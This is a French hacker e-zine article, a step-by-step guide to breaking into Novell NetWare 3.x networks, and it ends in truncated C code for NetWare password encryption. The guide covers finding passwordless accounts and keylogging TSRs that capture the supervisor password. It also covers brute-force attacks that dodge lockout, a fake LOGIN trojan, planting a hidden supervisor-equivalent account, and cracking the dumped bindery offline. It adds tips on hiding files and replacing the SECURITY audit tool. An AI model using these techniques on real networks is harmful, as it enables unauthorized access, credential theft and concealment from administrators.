-%!% N0 Way %!%- Volume I, Numéro 2, Partie 2.4 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º The Complete Novell Hackers guide º º º º --== By ARSCENE ==-- º º º º For No Way º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ I) Introduction ~~~~~~~~~~~~~~~ Cet article va vous apprendre comment fonctionne la securité dans un reseau Novell Netware (L'info devrait etre valable pour tous les reseaux Novell Netware et meme d'autres reseau (pour les grands principes) mais les details sont ceux du Novell Netware 3.11 ou 386). Le fil directeur sera un 'How to hack' etape par etape avec des divergences quand cela s'impose. Il part du niveau debutant/moyen pour arriver a un niveau ou (j'espere) meme les gurus Novell y trouverons quelque chose de nouveau. Novell est le plus grand vendeur de reseau LAN au monde; il parait qu'il y a plus d'ordinateurs en reseau Novell que sur tout Internet. Vous trouverez ce type de reseau dans beaucoup de moyennes et grandes entreprises, dans des colleges/lycées et meme certaines facs. II) Gaining access ~~~~~~~~~~~~~~~~~~ La premiere chose a faire est de se trouver un compte, n'importe lequel, sur le reseau. Verifiez tout d'abord que les gestionnaires du reseau sont installés. Il y en a deux: IPX (La couche de base) et NETX ( Le API de Novell), mais ils peuvent avoir des noms un peu differents. Ils sont souvent lancés par le autoexec.bat ou se trouvent dans un repertoire du genre 'Netware' ou 'reseau' ou un truc comme ça. Maintenant allez sur le drive reseau (F, G, ...). Vous le reconnaitrez car le seul repertoire accessible s'appelle LOGIN. La tapez SLIST. Voici la liste des serveurs disponibles (capturez cela par un 'SLIST > c:\test.txt'). Le serveur avec [default] à coté est celui le plus proche de vous par les cables du reseau. Commençons par la. Il faut maintenant se logger. Tapez LOGIN. III) Trouvez un premier compte ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Notre but est de trouver un compte qui n'a pas de password. Par default SUPERVISOR et GUEST n'en ont pas (Il est egalement bon de savoir que ces comptes existent toujours car meme l'admin ne peut les effaçer). Normalement GUEST doit fonctionner. Si le reseau est censé etre en libre access (lycée, fac, bibliothéque, ...) il y aura souvent des BAT dans C:\ qui lancent certaines taches sur le reseau. Cherchez y des lignes du type LOGIN . Essayez aussi des trucs du genre TAPE, BACKUP, SERVER, REMOTE, CONNECT, NOVELL, etc... Si vous voyez qu'un compte lance un BAT (c'est souvent le cas des backups) essayez CTRL-C pour le quitter et vous serez libre. Si vous n'avez toujours pas de compte il est temps d'utiliser vos talents de social engineering, preferablement sur des users, pas l'admin. IV) L'environnement Netware et les scripts ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A) L'environnement Netware: La première partie est traduite directement d'un article de The Butler parut dans Phrack 35 car cette partie de son article etait très bien: Le directory SYS:SYSTEM est utilisé pour l'administration du système et contient les fichiers de l'OS netware et des progs à l'usage exclusif du supervisor. Le directory SYS:PUBLIC est ouvert à tous et contient des outils divers (dont j'en presenterait quelques un plus loin). Le directory SYS:LOGIN contient, comme son nom l'indique, quelques progs pour se logger. Le directory SYS:MAIL est utlisé par des progs de mail ecrits pour Netware. Ce directory a aussi un sous-dir du nom du ID number pour chaque utilisateur qui contient son script de login et des configs pour l'imprimante (Les dirs des users autres que vous ne sont visibles que pour le supervisor). B) Les scripts de login La suite est egalement traduite du meme article de The Butler de Phrack (La traduction n'est pas telle quelle, je resume souvent): Le script de login est executé chaque fois que vous vous loggez et il prepare l'environnement pour vous. Il map des drives/directory du reseau pour que vous pouvez y acceder, il peut vous logger sur d'autres serveurs et executer des progs. Pour editer votre script une fois loggé lancez SYSCON, allez sur 'User Information', sur votre nom, puis sur 'Login Script'. Editez votre script puis quittez par et confirmez. Pour que votre script s'execute vous devez faire Logout et a nouveau vous logger. Voici les commandes principales des script, une petite description (en Anglais, j'en ais mare de traduire) et un example: MAP INS16:= Inserts the drive as the next available search drive. MAP INS16:=pd3\sys:jan MAP drive:= Maps the specified drive to the given directory. MAP G:=pd3\sys:home\jan MAP *n:= Maps the next available drive to the given directory. MAP *1:=pd3\sys:home\jan # Runs an executable file (a file with an .EXE or .COM extension). #SYSCON REMARK These three commands allow you to insert explanatory text in * the login script. They will not appear on your screen. ; REMARK Be sure to update the PROJECTS file. * Check for new mail. ; Assign OS-dependent Search mappings. ATTACH Allows you to attach to other file servers while remaining logged in to your current file server. ATTACH pd3\jan SET Allows you to set DOS variables. SET wp="/u-jlw/" SET usr="jwilson" IF...THEN Executes certain commands, if a specified condition exists. IF DAY_OF_WEEK="Monday" THEN WRITE "AARGH..." Si quelque chose n'est pas clair essayez differentes manières et consultez le HELP qui est très explicite sur les scripts. Pour voir ce que vous avez Mappé tapez: MAP. Vous pouvez egalement rajouter des map avec cet outil. Examples: MAP J:= path MAP J:= COUNT/SYS:HOME/MARIA MAP S3:=COUNT/ACCT:ACCREC V) Les utilitaires et tous les autres comptes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vous voici donc sur le reseau. Allez dans le root (disons que c'est le drive F). Si vous y voyez un directory SYSTEM et 2 fichiers .ERR alors votre compte a le niveau SUPERVISOR. Congratulez vous d'avoir un admin si stupide. (Normalement votre access ne sera que très limité). Allez dans le repertoire PUBLIC. Je vais vous presenter quelques utilitaires interressants: - USERLIST : Donne la liste des utilisateurs actuels du reseau. Très utile pour voir si le supervisor est connecté. Le compte avec un '*' a coté c'est vous. Capturez la sortie: 'USERLIST > c:\test2.txt'. Voici de nouveaux comptes à essayer. - RIGHTS : Affiche vos droits dans le directory actuel. Si vous avez 'S' votre compte est supervisor. 'A' c'est Access control, aussi assez interressant. 'W' est Write et peut vous permettre de faire transiter des fichiers a vous par le serveur (Par exemple pour y acceder a partir d'un ordinateur ou les floppy drives sont inaccessibles). Utilisez des noms judicieux pour bien dissimuler vos fichiers: MENU.OLD, ~TFG245.TMP, etc. Si vous trouvez une suite de fichiers du genre FIC1.EXT, FIC2.EXT, FIC3.EXT, etc alors appelez les votre FIC4.EXT et ainsi de suite. Le truc est que l'admin ne les remarque pas. Aussi evitez de changer leur ATTRIB car cela ne les rendra que plus visibles. - SEND : Vous permet d'envoyer des messages à un autre connecté. Syntaxe: SEND "Message bla bla" TO . Notez que _tous_ les gens connectés sous le nom reçoivent vos messages donc verifiez que votre destinataire est seul. Evitez de trop utiliser cet outil car il est lourd (il y a des CHAT en free/shareware beaucoup mieux) et a une facheuse tendance a reveiller l'admin. Un user peut bloquer/debloquer des messages (empecher qu'on ne lui envoit des messages) avec CASTOFF/CASTON - HELP : Comme son nom l'indique. Utilisez le à fond pour bien connaitre Novell, il est très bien fait. Vous pouvez egalement l'emporter chez vous en copiant les fichiers: 'NFOLIO.*' et '*.NFO'. - SYSCON : Le meilleur outil de tous. Vous allez etre amener a très bien le connaitre. Avant de le lancer executer un prog du type ScrollIt (shareware) qui permet de capturer l'ecran et de la sauvegarder dans un fichier. Après avoir lançé SYSCON allez sur l'option 'User Information' et, abracadabra, voiçi la liste de _tous_ les comptes possibles sur ce serveur. Utilisez maintenant ScrollIt pour sauvez cette liste dans c:\TEST3.TXT (Si la liste est plus longue qu'un ecran il faudra vous y prendre a plusieures fois). Cet outil vous permet de voir le niveau securité du compte que vous utilisez (allez sur son nom et faites Enter) ainsi que toutes les restrictions horaires, de stations, de place disque, etc. C'est egalement cet outil que vous utiliserez une fois loggé en supervisor (cf plus bas). - SESSION : Un genre de super USERLIST. Explorez le mais il n'est pas d'une grande utilité. - SETPASS : Permet de changer le PW du compte dans lequel vous etes loggé. Pour l'utiliser il faut connaitre l'ancien PW. Cet outil sert beaucoup pour tester un hack: Vous changez le PW d'un compte qui n'a pas de PW en 'abc', et vous essayez votre hack dessus pour voire s'il le trouve. Si oui alors il devrait fonctionner sur d'autres comptes, si non votre hack n'est pas bon. Quand vous avez fini (evitez de prendre trop longtemps en cas ou quelqu'un d'autre essaye de se logger) vous remetez le PW a rien (tapez pour nouveau PW). VI) Supervisor access ~~~~~~~~~~~~~~~~~~~~~ Il nous faut maintenant trouver le PW du supervisor. Il y a 4 façons de faire ceci: A) Par Social Engineering ou en utilisant des competences non liées à l'informatique. Ceci n'est pas du ressort de cet article. B) La meilleure façon: Pour ceci il faut avoir access physique à un poste ou se log le supervisor. Il faut y installer un TSR qui va capturer son PW lorsque il se log. Il y a en gros 2 façons de faire ceci: * Détourner la fonction de Int 21h 'load & execute' et verifier si on essaye d'executer LOGIN. On detourne alors Int 9h (Clavier) et on capture tout jusqu'à la fin de LOGIN (Int 20h, je pense, qui est terminaison de programme). Cette technique est employé par un superbe programme du nom de GETIT ou THIEFNOV que l'on peut trouver sur certains BBS. * Détourner la propre interruption de login de l'API Novell. Pour cela il faut que le TSR soit lançé _après_ NETX. Je pense que avec des techinques employés par des virus on pourrait infecter NETX (NETX.COM ne fait pas de check d'integrité) avec le TSR de sorte que tout se passe de façon transparente, mais cela reste à etudier. Pour plus d'infos sur les Int de l'API Novell je recommande Ralph Browns Interrupt List (freeware). De la on voit que les 2 Int les plus interressants sont: - Int 21h, AH=E3h, subfunction 14h (Login to file server) - Int 21h, AH=F2h, AL=17h, subfunction 18h (Login encrypted) Le premier est très bien decrit, mais malheureusement je pense que ce soit le second le plus utilisé. Pour voir lequel est utilisé ecrivez un petit prog pour generer l'int, ou vous pouvez essayer INT.COM qui vient avec la Interrupt List. Si le serveur vous repond un truc du genre 'Attempt to send unencrypted password over the network' alors il vous faut le second. Le problème ici est que le second Int envoit le PW crypté, ce qui ne nous est pas très utile car le chiffrement du PW depend d'une clé descerné par le serveur. Voyez Appendix C pour une description de comment Novell crypte les PW. Le code en Appendix B devrait aussi etre très utile. De toute façon, cela fait que la première approche (rediriger l'Int du clavier) est nettement meilleure si vos PW sont envoyés cryptés. C) La plus longue façon mais aussi la plus sure: Essayer toutes (ou presque) les combinaisons possibles. Cela se fait en utilisant la technique du demon dialing (comme dans un wardialer). Vous pouvez soit essayer toutes les combinaisons possibles (aaa, aab, ... zzzzzz,etc) ou alors faire un dictionary attack, c'est a dire essayez tous les mots d'un dictionnaire que vous prevoyez. La première methode est sure de trouver le PW eventuellement, mais la seconde est beaucoup plus rapide. Ensuite, il y a 2 façons d'essayer les PW: * En login: Cette manière consiste tout simplement a essayer de se logger avec tous les PW jusqu'a trouver le bon. Il y a un freeware qui fait cela avec LOGIN.EXE, mais il est très lent et je ne suit pas 100% sur qu'il fonctionne, donc je ne le conseille pas. Il vaut mieux ecrire son propre prog. Les Int qui nous interressent (encore du Interrupt List) sont ceux listés en B), et celui à utiliser depands si les PW doivent etre cryptés ou pas. Cela semble bien, mais il y a un hic: Intruder Detection/Lockout. Si l'admin a activé cette option au bout de X echecs au login le compte sera desactivé jusqu'a ce que l'admin le reset. Donc avant d'essayer cette methode il vaut mieux tenter un dixaine de login avec un account, si vous pouvez en essayer beaucoup alors Intruder Detection/Lockout n'est pas actif. Pour essayer choisissez plustot un compte assez faible, celui d'une secretaire pas trop doué ou un compte ou il y a souvent pas mal de personnes loggez en meme temps. * En verify password: Le principe est le meme mais au lieu d'essayer de se logger on utilise un int qui nous permet de verifier si le PW est bon. Cela a un double avantage: Plus rapide que Login et pas d'Intruder Detection/Lockout. Les deux Int sont: - Int 21h AH=E3h sub 3Fh Verify bindery object PW - Int 21h AH=F2h AL=17h sub 4ah Verify bindery object PW encrypted Ici encore, c'est a vous de determiner le quel est le bon pour vous. Si vous pouvez utiliser le premier je vous conseille l'utilitaire NETCRACK qui essaye tous les PW possible sur un compte (avant de l'utiliser editez le pour enlever le texte qu'il affiche). Si vous essayez NETCRACK sur un serveur ou les PW doivent etre cryptés il marchera quand meme mais il envoit un message a tous les supervisor loggés, au serveur et à vous meme et emet un bip. Le message est à peu près: 'Attempt to send unencrypted PW over the network'. D) Le LOGIN trojan. Si un poste se log automatiquement par le AUTOEXEC.BAT vous pouvez ecrire un trojan LOGIN.COM qui fait: - Demande le nom si celui si n'a pas été specifié sur la ligne de commande. - Demande le PW. - Genere un ecran d'erreure _identique_ a celui du vrai LOGIN pour faire croire que le user a mal tapé son PW. - Sauve le serveur, le nom, le PW, l'heure et la date dans un fichier local caché. - Va dans le directory F:\LOGIN (ou selon) ou se trouve le vrai LOGIN et quitte. Le user va réessayer de se logger. La le vrai LOGIN s'executera et il ne va s'apercevoir de rien. Une option ici serait de sauvegarder le AUTOEXEC.BAT a l'installation et quand le trojan a capturé le PW du SUPERVISOR il s'efface lui-meme et restaure le AUTOEXEC.BAT d'origine. Si vous laissez un fichier (LOGIN.COM) sur le disque je vous recommande vivement de l'editer pour enlever tout le texte qui s'y trouve et de le crypter avec TINYPROG (shareware) pour eviter que l'on ne decouvre qui l'a ecrit. VII) L'après SUPERVISOR et les autres comptes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A) Votre compte a vous: Vous avez le PW du SUPERVISOR. Toutefois evitez de vous servir de ce compte car l'admin le remarquera. Choisissez un compte qui sert peu ou qui n'a pas servi depuis longtemps, un compte dont vous connaissez le PW est le mieux mais un compte sans PW est bon aussi. Vous allez maintenant donner à ce compte le SUPERVISOR equivalence (en faire un autre Supervisor): - Loggez vous sur un compte bidon et verifiez (USERLIST) que personne de trop important n'est present. Faites Logout. - Loggez vous en SUPERVISOR et lancez SYSCON - Ignorez les 'Supervisor utilities' et allez dans 'User Information' - Selectionnez le compte que vous avez choisis et faites Enter - Allez sur 'Security Equivalences' et faites Enter - Faites et selectionnez SUPERVISOR dans la liste et Enter. - Confirmez si on vous le demande et quittez par des repetitifs. Voila, bravo, vous avez votre compte Supervisor. B) Tous les autres PW: *** Moi, l'auteur, ait verifié que tout ce qui precede est correct *** et marche. Je n'ais pas encore essayé la suite et ne peut donc *** pas garantir son efficacité. Je ne tarderait pas bien sur a *** essayer. Maintenant vous desirez surement prendre les PW de tous les autres user. Vous pouvez proceder comme pour le compte SUPERVISOR, mais il y a des moyens beaucoup plus rapides: * Tous les PW sont cryptés et sauvegardés dans les Bindery file. Procurez vous un utilitaire pour Dump la Bindery et emmenez la chez vous. Vous allez maintenant faire une operation chère aux UNIX-hackers: Un autre brute-force attack. L'appendix B contient un prog C avec l'algo de cryptage qu'utilise Novell. Il vous reste a faire un dictionnary attack en cryptant vos mots et en les comparant à ceux du bindery pour chaque user. Cela ne devrait pas prendre trop longtemps et il n'y a pas de probléme car vous etes chez vous, ou l'admin ne peut vous voire. * La deuxième tactique est le packet-sniffing. Si votre reseau utilise des PW cryptés loggez vous au niveau SUPERVISOR (console) et tapez: Set Allow Unencrypted Passwords=ON Les PW passeront dans le reseau non-cryptés. Il vous suffit de lancer IPX.COM (Vous n'avez meme pas besoin d'etre loggé) et un programme qui capture tous les packets qui passent sur le reseau. De cette manière vous pourrez meme lire le mail, les messages par SEND et tout ce qui transite pas le reseau. Cette partie doit vous sembler très floue. C'est normal car je n'ais put l'essayer pour l'instant. Appendix A: Notes en vrac et obtenir plus d'infos: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Pour les PW le case n'est pas important: 'X' et 'x' sont pareils. Les PW peuvent aussi contenir des numeros et ils peuvent faire jusqu'à 20 charachters. Dans le root il y a 2 fichiers .ERR (Qui ne nous sont pas d'une grande utilité): - VOL$LOG.ERR : Informations sur quand le volume a été monté et démonté et les erreures qui se sont produites. - TTS$LOG.ERR : Indique quand le Transaction Tracking Service a été initialisé et désinitialisé et les erreures eventuelles. Le forum Novell sur FIDO et le Netwire sur Compuserve sont très bons, mais si vous posez une question evitez de faire comprendre que vous etes un hacker, la tournure de la phrase doit faire comprendre que vous etes un supervisor curieux, ou un nouveau user pas très competent, etc Lisez l'article de The Butler dans Phrack 35. Il est interressant d'un point de vu utilisation du système, mais d'un niveau très faible. Lisez tous se que vous trouvez sur la securité des LAN et le programmation Novell. Frequentez assiduement les board underground et faites des Text Search pour 'Novell'. Gardez votre compte secret (si vous devez le passer, ne le faites qu'a des gens en lequel vous avez une confiance absolue) et surtout restez discret: Ne créés pas de nouveau compte, ne changez pas les PW des autres user, n'effacez rien, enfin generalement soyez un bon Hacker et vous garderez votre compte longtemps. Si vous desirez tenter un projet important sachez que SECURTIY est un prog supervisor qui detecte les comptes sans PW, les comptes au niveau SUPERVISOR, etc. Vous pourriez le remplacer par un prog qui fait semblant que tout va bien (Verifiez que votre prog a bien meme taille et meme date que le SECURITY d'origine). Je connais un 'hole' dans Novell Netware 2.12 que je n'ais jamais personnelement essayé: Si vous avez access a un ordinateur loggé ou l'user est parti et il n'a pas fait grand chose après son login voici une technique pour trouver son PW: Lancez debug et faites: -s 0000 ffff "USER_ID" Notez les addressed et autour d'une de celle-ci doit se trouver le PW, normalement autour de l'offset 8A00 du segment que Debug prend par default. Finalement jouez beaucoup à DOOM 1.2 sur votre LAN car à 4 c'est un jeu superbe. Appendix B: Source code: ~~~~~~~~~~~~~~~~~~~~~~~~ Ce qui suit est un source C qui ne fonctionne pas tel quel mais qui a des fonctions superbes pour log, crypt, verify PW, etc. Regardez le bien car il est assez dense mais très instructif. Il vient des Pays-Bas et je pense qu'il est l'oeuvre de Hack-Tic. Il y a une addresse email si vous voulez contactez l'auteur. #include #include #include #include #include /* !!!!!!!!!!!!!! I didn't compile this version, so it might not be ready to run, I just put together parts of different sources to get it all in on file. email itsme@utopia.hacktic.nl func & getnewlogkey are internal server functions used to generate logkeys decode & decodepa are internal server functions used to get new password from a set password call encryptp : create encrypted password from userid, and password getpassk : create login data from encrypted password & logkey encrypt3 : create change pw date from login data for old pw + encrypted new pw decodepa : recreate encrypted pw from change pw data + old login data */ #define MAXPWLEN 64 #define MAXNAMELEN 48 typedef unsigned char u_char; u_char tab0[256]= /* used by encrypt */ {/* 0 1 2 3 4 5 6 7 8 9 a b c d e f */ 0x7,0x8,0x0,0x8,0x6,0x4,0xE,0x4,0x5,0xC,0x1,0x7,0xB,0xF,0xA,0x8, 0xF,0x8,0xC,0xC,0x9,0x4,0x1,0xE,0x4,0x6,0x2,0x4,0x0,0xA,0xB,0x9, 0x2,0xF,0xB,0x1,0xD,0x2,0x1,0x9,0x5,0xE,0x7,0x0,0x0,0x2,0x6,0x6, 0x0,0x7,0x3,0x8,0x2,0x9,0x3,0xF,0x7,0xF,0xC,0xF,0x6,0x4,0xA,0x0, 0x2,0x3,0xA,0xB,0xD,0x8,0x3,0xA,0x1,0x7,0xC,0xF,0x1,0x8,0x9,0xD, 0x9,0x1,0x9,0x4,0xE,0x4,0xC,0x5,0x5,0xC,0x8,0xB,0x2,0x3,0x9,0xE, 0x7,0x7,0x6,0x9,0xE,0xF,0xC,0x8,0xD,0x1,0xA,0x6,0xE,0xD,0x0,0x7, 0x7,0xA,0x0,0x1,0xF,0x5,0x4,0xB,0x7,0xB,0xE,0xC,0x9,0x5,0xD,0x1, 0xB,0xD,0x1,0x3,0x5,0xD,0xE,0x6,0x3,0x0,0xB,0xB,0xF,0x3,0x6,0x4, 0x9,0xD,0xA,0x3,0x1,0x4,0x9,0x4,0x8,0x3,0xB,0xE,0x5,0x0,0x5,0x2, 0xC,0xB,0xD,0x5,0xD,0x5,0xD,0x2,0xD,0x9,0xA,0xC,0xA,0x0,0xB,0x3, 0x5,0x3,0x6,0x9,0x5,0x1,0xE,0xE,0x0,0xE,0x8,0x2,0xD,0x2,0x2,0x0, 0x4,0xF,0x8,0x5,0x9,0x6,0x8,0x6,0xB,0xA,0xB,0xF,0x0,0x7,0x2,0x8, 0xC,0x7,0x3,0xA,0x1,0x4,0x2,0x5,0xF,0x7,0xA,0xC,0xE,0x5,0x9,0x3, 0xE,0x7,0x1,0x2,0xE,0x1,0xF,0x4,0xA,0x6,0xC,0x6,0xF,0x4,0x3,0x0, 0xC,0x0,0x3,0x6,0xF,0x8,0x7,0xB,0x2,0xD,0xC,0x6,0xA,0xA,0x8,0xD }; u_char tab[32]= /* used by encrypt & encryptp */ { 0x48,0x93,0x46,0x67,0x98,0x3D,0xE6,0x8D,0xB7,0x10,0x7A,0x26,0x5A,0xB9,0xB1,0x35, 0x6B,0x0F,0xD5,0x70,0xAE,0xFB,0xAD,0x11,0xF4,0x47,0xDC,0xA7,0xEC,0xCF,0x50,0xC0 }; u_char tab1[8][2][16]= /* used by encrypt3 */ { /* 0 1 2 3 4 5 6 7 8 9 a b c d e f */ {{ 0xF,0x8,0x5,0x7,0xC,0x2,0xE,0x9,0x0,0x1,0x6,0xD,0x3,0x4,0xB,0xA}, { 0x2,0xC,0xE,0x6,0xF,0x0,0x1,0x8,0xD,0x3,0xA,0x4,0x9,0xB,0x5,0x7}}, {{ 0x5,0x2,0x9,0xF,0xC,0x4,0xD,0x0,0xE,0xA,0x6,0x8,0xB,0x1,0x3,0x7}, { 0xF,0xD,0x2,0x6,0x7,0x8,0x5,0x9,0x0,0x4,0xC,0x3,0x1,0xA,0xB,0xE}}, {{ 0x5,0xE,0x2,0xB,0xD,0xA,0x7,0x0,0x8,0x6,0x4,0x1,0xF,0xC,0x3,0x9}, { 0x8,0x2,0xF,0xA,0x5,0x9,0x6,0xC,0x0,0xB,0x1,0xD,0x7,0x3,0x4,0xE}}, {{ 0xE,0x8,0x0,0x9,0x4,0xB,0x2,0x7,0xC,0x3,0xA,0x5,0xD,0x1,0x6,0xF}, { 0x1,0x4,0x8,0xA,0xD,0xB,0x7,0xE,0x5,0xF,0x3,0x9,0x0,0x2,0x6,0xC}}, {{ 0x5,0x3,0xC,0x8,0xB,0x2,0xE,0xA,0x4,0x1,0xD,0x0,0x6,0x7,0xF,0x9}, { 0x6,0x0,0xB,0xE,0xD,0x4,0xC,0xF,0x7,0x2,0x8,0xA,0x1,0x5,0x3,0x9}}, {{ 0xB,0x5,0xA,0xE,0xF,0x1,0xC,0x0,0x6,0x4,0x2,0x9,0x3,0xD,0x7,0x8}, { 0x7,0x2,0xA,0x0,0xE,0x8,0xF,0x4,0xC,0xB,0x9,0x1,0x5,0xD,0x3,0x6}}, {{ 0x7,0x4,0xF,0x9,0x5,0x1,0xC,0xB,0x0,0x3,0x8,0xE,0x2,0xA,0x6,0xD}, { 0x9,0x4,0x8,0x0,0xA,0x3,0x1,0xC,0x5,0xF,0x7,0x2,0xB,0xE,0x6,0xD}}, {{ 0x9,0x5,0x4,0x7,0xE,0x8,0x3,0x1,0xD,0xB,0xC,0x2,0x0,0xF,0x6,0xA}, { 0x9,0xA,0xB,0xD,0x5,0x3,0xF,0x0,0x1,0xC,0x8,0x7,0x6,0x4,0xE,0x2}} }; u_char tab3[16]= /* used by encrypt3 */ { 0x3,0xE,0xF,0x2,0xD,0xC,0x4,0x5,0x9,0x6,0x0,0x1,0xB,0x7,0xA,0x8 }; u_char tab8[8][2][16]= /* used by decode */ { {{0x8,0x9,0x5,0xC,0xD,0x2,0xA,0x3,0x1,0x7,0xF,0xE,0x4,0xB,0x6,0x0}, {0x5,0x6,0x0,0x9,0xB,0xE,0x3,0xF,0x7,0xC,0xA,0xD,0x1,0x8,0x2,0x4}}, {{0x7,0xD,0x1,0xE,0x5,0x0,0xA,0xF,0xB,0x2,0x9,0xC,0x4,0x6,0x8,0x3}, {0x8,0xC,0x2,0xB,0x9,0x6,0x3,0x4,0x5,0x7,0xD,0xE,0xA,0x1,0xF,0x0}}, {{0x7,0xB,0x2,0xE,0xA,0x0,0x9,0x6,0x8,0xF,0x5,0x3,0xD,0x4,0x1,0xC}, {0x8,0xA,0x1,0xD,0xE,0x4,0x6,0xC,0x0,0x5,0x3,0x9,0x7,0xB,0xF,0x2}}, {{0x2,0xD,0x6,0x9,0x4,0xB,0xE,0x7,0x1,0x3,0xA,0x5,0x8,0xC,0x0,0xF}, {0xC,0x0,0xD,0xA,0x1,0x8,0xE,0x6,0x2,0xB,0x3,0x5,0xF,0x4,0x7,0x9}}, {{0xB,0x9,0x5,0x1,0x8,0x0,0xC,0xD,0x3,0xF,0x7,0x4,0x2,0xA,0x6,0xE}, {0x1,0xC,0x9,0xE,0x5,0xD,0x0,0x8,0xA,0xF,0xB,0x2,0x6,0x4,0x3,0x7}}, {{0x7,0x5,0xA,0xC,0x9,0x1,0x8,0xE,0xF,0xB,0x2,0x0,0x6,0xD,0x3,0x4}, {0x3,0xB,0x1,0xE,0x7,0xC,0xF,0x0,0x5,0xA,0x2,0x9,0x8,0xD,0x4,0x6}}, {{0x8,0x5,0xC,0x9,0x1,0x4,0xE,0x0,0xA,0x3,0xD,0x7,0x6,0xF,0xB,0x2}, {0x3,0x6,0xB,0x5,0x1,0x8,0xE,0xA,0x2,0x0,0x4,0xC,0x7,0xF,0xD,0x9}}, {{0xC,0x7,0xB,0x6,0x2,0x1,0xE,0x3,0x5,0x0,0xF,0x9,0xA,0x8,0x4,0xD}, {0x7,0x8,0xF,0x5,0xD,0x4,0xC,0xB,0xA,0x0,0x1,0x2,0x9,0x3,0xE,0x6}} }; u_char tab9[16]= /* used by decode */ { 0xA,0xB,0x3,0x0,0x6,0x7,0x9,0xD,0xF,0x8,0xE,0xC,0x5,0x4,0x1,0x2 }; struct tod { u_char curryear, currmont, currday , currhour, currminu, currseco, currweek; } tod; int zeroseed=0; int seed1=0,seed2=0; /* seed1 : *2 mod 947 -> cycle length 946 seed2 : *2 mod 941 -> cycle length 940 together : 946*940=889240=8* 111155 = 2^3*5*11*43*47 915 220 0 184 570 825 * 484 460 5102 * 945 2 6858 505 251 7936 191 563 20053 347 408 49641 317 626 50319 791 155 52249 91 286 59015 * 504 252 63514 3 938 74552 663 94 75630 932 109 82524 * 741 487 91346 * 476 468 104818 611 773 106975 *** 915 220 111155 */ u_char func(int c) { if (seed1==0) { seed1=(tod.currmont<<4) + tod.currseco; zeroseed++; } else seed1<<=1; if (seed1>=947) seed1-=947; if (seed2==0) { seed2=(tod.currday<<3) + tod.currminu; zeroseed++; } else seed2<<=1; if (seed2>=941) seed2-=941; return (((u_char *)&tod)[(seed1+seed2)%7] +seed1+seed2+c)&0xff; } int newlogkey(int c, u_char *buf) { u_char *p; int i; /* **** logkey[c] is a table indexed by connection number if (logkey[c]==0) { logkey[c]=salloc(8); if (logkey[c]==0) return(0x96); /* server out of memory */ } p=logkey[c]; */ p=buf; for (i=0 ; i<8 ; i++) *p++=func(c); /* memcpy(logkey[c],buf,8); */ return(0); } unsigned int iswap(unsigned int nr) { _AH = *((char *) &nr); _AL = *(((char *) &nr)+1); } unsigned long lswap(long l) { _DH = *((char *) &l); _DL = *(((char *) &l)+1); _AH = *(((char *) &l)+2); _AL = *(((char *) &l)+3); } void dump(u_char *p,int l) { int i; for (i=0 ; i>4; else c=buf[c/2]&0xf; if (j&1) dst[j/2]|=(c<<4); else dst[j/2]|=c; } memcpy(buf,dst,8); c=p[0]; for (j=0 ; j<7 ; j++) p[j]=(p[j]>>4)|(p[j+1]<<4); p[7]=(p[7]>>4)|(c<<4); for (j=0 ; j<8 ; j++) { c=buf[j]; buf[j] = p[j] ^ (tab8[j][0][c&0xf] | (tab8[j][1][c>>4] << 4)); } } memcpy(dst,buf,8); } /* * char p1[16] : old encrypted password * char p2[16] : change password data * char p3[16] : new encrypted password (result) */ void decodepa(u_char *p1, u_char *p2, u_char *p3) { decode(p1,p2,p3); decode(p1+8,p2+8,p3+8); } /* char p1[32] : password xored with ID and itself ... * char p2[16] : encrypted password (result) */ void encrypt(register u_char *p1, u_char *p2) /* changes both p1 & p2 */ { int j; int i; u_char a; u_char c=0; for (j=0 ; j<2 ; j++) for (i=0 ; i<32 ; i++) { a=(p1[(i+c)&0x1f] - tab[i]) ^ (p1[i]+c); c+=a; p1[i]=a; } memset(p2,0,16); for (i=0 ; i<32 ; i++) if (i&1) p2[i/2] |= tab0[p1[i]]<<4; else p2[i/2] |= tab0[p1[i]]; } /* char id[4] : UserID * char src[len] : unencrypted password * int len : length of unencrypted password * char dst[16] : encrypted password (result) */ void encryptp(long id, u_char *src, int len, u_char *dst) { u_char buf[32]; u_char *p; u_char *q=src; int i; for (p=q+len-1 ; *p--==0 && len ; len--) ; memset(buf,0,32); for ( ; len>=32 ; len-=32) for (i=0 ; i<32 ; q++, i++) buf[i] ^= *q; p=q; if (len>0) for (i=0 ; i<32 ; i++) { if (q+len==p) { p=q; buf[i]^=tab[i]; } else buf[i]^=*p++; } for (i=0 ; i<32 ; i++) buf[i] ^= ((u_char *)&id)[i&3]; encrypt(buf,dst); } /* char logkey[8] : (requested with int21,ax=e3, fn 17 from server) * char crpw[16] : encrypted password (with encryptp) * char dst[8] : login data (result) */ void getpassk(long *logkey, u_char *crpw, u_char *dst) { u_char buf[32]; int i,j; encryptp(logkey[0],crpw,16,buf); encryptp(logkey[1],crpw,16,buf+16); for (i=0, j=31 ; i<16 ; i++, j--) buf[i]^=buf[j]; for (i=0 , j=15 ; i<8 ; i++, j--) dst[i]=buf[i]^buf[j]; } /* char p1[8] : part of old encrypted pw * char p2[8] : part of new encrypted pw * char p3[8] : part of change pw data (result) */ void encrypt3(register u_char *p1, u_char *p2, u_char *p3) { register int j; u_char c; u_char buf[8]; int i; memcpy(buf,p2,8); for (i=0 ; i<16 ; i++) { for (j=0 ; j<8 ; j++) { c=buf[j]^p1[j]; buf[j]= tab1[j][0][c&15] | (tab1[j][1][c>>4] <<4); } c=p1[7]; for (j=7 ; j>0 ; j--) p1[j]=(p1[j]<<4) | (p1[j-1]>>4); p1[0]= (c>>4) | (p1[0]<<4); 